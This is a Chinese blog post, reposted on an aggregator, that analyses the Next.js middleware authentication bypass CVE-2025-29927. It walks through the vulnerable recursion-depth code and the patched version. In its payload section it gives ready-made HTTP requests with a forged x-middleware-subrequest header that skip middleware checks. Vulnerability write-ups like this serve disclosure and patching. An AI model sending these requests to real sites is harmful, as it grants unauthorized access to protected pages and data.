Next.js中间件权限绕过漏洞分析(CVE-2025-29927)

news/2025/3/31 7:34:11/文章来源:https://www.cnblogs.com/CVE-Lemon/p/18797265

本文代码版本为next.js-15.2.2

本篇文章首发在先知社区:https://xz.aliyun.com/news/17403

一、漏洞概述

CVE-2025-29927是Next.js框架中存在的一个高危中间件逻辑绕过漏洞,允许攻击者通过构造特定HTTP请求头,绕过中间件的安全控制逻辑(如身份验证、路径重写、CSP防护等)。该漏洞CVSS评分9.1(Critical),可导致未授权访问、数据泄露及拒绝服务攻击。

二、漏洞分析

1. 漏洞背景

Next.js中间件(Middleware)允许开发者在请求到达目标路由前执行代码,典型应用场景包括:

  • 身份验证:检查用户会话Cookie,拦截未授权请求。
  • 路径重写:动态修改请求路径(如多语言路由/en/home/home)。
  • 安全头设置:添加CSP、CORS等安全响应头。

中间件的安全性直接决定了应用的核心防护能力。若中间件逻辑被绕过,攻击者可直接访问后端业务逻辑。

2. 漏洞核心机制

用户发出请求在middleware中会请求身份验证接口,而请求身份验证接口也会经过middleware,所以为了解决请求身份验证接口这种逻辑,Next.js通过x-middleware-subrequest头标识内部递归请求。

每次递归请求都会向该头添加一次middleware,如果递归请求达到五次,就会返回一个带有 'x-middleware-next': '1' 的响应,表示忽略中间件的所有逻辑(包括鉴权检查)。

image

packages\next\src\server\web\sandbox\sandbox.ts

3. 关键代码

简化代码:

  • params.name:中间件路径标识(如 src/middlewaremiddleware)。
  • subrequestsx-middleware-subrequest 头按 : 分割后的数组。
  • depth:统计 subrequests 中与 params.name 匹配的次数。
const subreq = params.request.headers[`x-middleware-subrequest`]
const subrequests = subreq.split(':') : []
const MAX_RECURSION_DEPTH = 5
const depth = subrequests.reduce((acc, curr) => (curr === params.name ? acc + 1 : acc),0
)if (depth >= MAX_RECURSION_DEPTH) {return {response: new runtime.context.Response(null, {headers: {'x-middleware-next': '1',},}),}}

漏洞成因

  • 路径暴露:中间件的逻辑路径(middlewareInfo.name)可被攻击者推测。
  • 校验宽松:未对外部请求x-middleware-subrequest头进行过滤,允许伪造内部请求标识。

4. Payload 构造

确定中间件路径标识

params.name 是中间件模块在 Next.js 构建过程中生成的逻辑路径标识,其值由.next/server/middleware-build-manifest.json文件决定。

image

构造绕过请求头

middleware.ts在根目录 → middleware

GET /dashboard HTTP/1.1
Host: localdomain:3000
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

middleware.tssrc 目录 → src/middleware

GET /dashboard HTTP/1.1
Host: localdomain:3000
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

三、漏洞复现

环境地址:lem0n817/CVE-2025-29927 (github.com)

middleware

image

image

src/middleware

image

image

四、漏洞修复

Comparing v15.2.2...v15.2.3 · vercel/next.js (github.com)

这里是对多处进行了修改,挑选最关键的一处进行分析:

image

通过动态令牌验证(x-middleware-subrequest-id)和加密符号存储(Symbol.for)严格区分内外请求,非法伪造的x-middleware-subrequest头会被自动删除,确保中间件安全逻辑不被绕过。

// If this request didn't origin from this session we filter
// out the "x-middleware-subrequest" header so we don't skip
// middleware incorrectly
if (header === 'x-middleware-subrequest' &&headers['x-middleware-subrequest-id'] !==(globalThis as any)[Symbol.for('@next/middleware-subrequest-id')]
) {delete headers['x-middleware-subrequest']
}

五、参考

代码审计-知识星球 (zsxq.com)

Next.js 和损坏的中间件:授权工件 - zhero_web_security

CVE 2025 29927 Nextjs Auth Bypass - chestnut's blog


本文作者CVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
先知社区:https://xz.aliyun.com/users/136909
微信公众号:Lemon安全

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/906984.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue+openlayers示例:线水流效果(附源码下载)

demo源码运行环境以及配置运行环境:依赖Node安装环境,demo本地Node版本:推荐v16+。 运行工具:vscode或者其他工具。 配置方式:下载demo源码,vscode打开,然后顺序执行以下命令: (1)下载demo环境依赖包命令:npm i (2)启动demo命令:npm run dev (3)打包demo命令: …

蓝屏STOP:0x0000007B

生产线需要,得准备一台Windows XP的操作系统电脑。在安装时,出现下面蓝屏,A problem has been detected and windows has been shut down to prevent damage to your computer. If this is the first time youve seen this stop error screen, restart your computer. If th…

必看!2025 年颠覆测试行业的 10 大 AI 自动化测试工具/平台(上篇)

大家好,我是狂师。 上周小孩子生病,住院照顾,停更了几天。 各位看官,等着急了吧,之前有粉丝后台留言,想了解学习一下,AI这么火爆,那市面上AI与自动化测试结合起来的有哪些推荐的工具/平台。 今天就这个话题来聊一聊。 前言 在软件迭代以“天”为单位的今天,随着软件迭…

2025年企业必读指南:文件摆渡系统的5大核心功能

在数字化转型的浪潮中,企业面临着前所未有的挑战与机遇。优化信息流转、提升协作效率、确保数据安全及合规性,已成为企业持续发展的关键要素。在这一背景下,文件摆渡系统作为连接不同网络、网域之间的桥梁,承担着文件传输、共享、管理和归档等多重任务,其重要性日益凸显。…

利用AI增强VS Code TypeScript插件:AnyToTS带来编程新体验

Any to TS: VSCode 扩展插件 概述 "Any to TS" 是一个强大的 VSCode 扩展插件,旨在将任何对象转换为 TypeScript 类型或接口。该工具基于 vscode-json-to-ts 进行功能扩展,提供了一系列便捷的功能,帮助开发者更高效地处理 TypeScript 类型定义。 核心功能 传统功能…

虚函数表里有什么?(一)——从一个普通类开始

本系列文章,旨在探究C++虚函数表中除函数地址以外的条目,以及这些条目的设计意图和作用,并介绍与此相关的C++类对象内存布局,最后将两者用图解的形式结合起来,给读者带来全局性的视角。让我们从一个简单的类出发,开启我们的探索之旅。前言 本系列文章,旨在探究C++虚函数…

《HelloGitHub》第 108 期

兴趣是最好的老师,HelloGitHub 让你对开源感兴趣!简介 HelloGitHub 分享 GitHub 上有趣、入门级的开源项目。github.com/521xueweihan/HelloGitHub这里有实战项目、入门教程、黑科技、开源书籍、大厂开源项目等,涵盖多种编程语言 Python、Java、Go、C/C++、Swift...让你在短…

读DAMA数据管理知识体系指南33参考数据和主数据活动

读DAMA数据管理知识体系指南33参考数据和主数据活动1. 主数据管理活动 1.1. 识别驱动因素和需求1.1.1. 每个组织都有不同的主数据管理驱动因素和障碍,受系统的数量和类型、使用年限、支持的业务流程以及交易和分析中数据使用方式的影响1.2. 评估和评价数据源1.2.1. 现有应用中…

C++内存序

C++的3种memory model: + sequentially consistent + relexed + acquire-release 对应5.3章《C++ concurrency in action》5.3 Synchronizing operations and enforcing ordering 首先就是对于程序来说都是通过 "happens-before" 和 "synchronizes-with" …

如何快速解决单细胞拟时序分析旧版本Monocle包导致的orderCells过程的报错

当我们整理好一版本的单细胞转录组数据分析代码,并完成一个项目的单细胞转录组数据分析项目。当我们再进行另外一个单细胞转录组数据的项目分析时,突然发现原来跑通的代谢,突然一直报错那是一件很苦恼的问题,想必各位科研党遇到这种问题是不是也有砸电脑的心情。今天主要写…

图床图片上传工具-图传

原文:https://ichochy.com/posts/app/20250325.html时隔多年,又重新出发,从零开始,在 AI 的加持下,再次开发这个图床图片上传工具。爆肝数日,基本完成这个软件现有功能。实现了图片资源的上传、分享、和管理等功能。图传 是一个免费开源的图床图片上传工具。 是一款为 ma…

Linux上利用sunshine串流和虚拟显示器实现副屏扩展

场景Linux + Wayland,尝试将空闲的android平板作为扩展显示屏方法根据 https://www.w568w.eu.org/spacedesk-on-linux.html 中的描述,利用 sunshine + moonlight 串流以及虚拟显示器欺骗实现副屏扩展虚拟显示器查看当前系统记录的显示器设备接口的连接情况,使用命令for p in…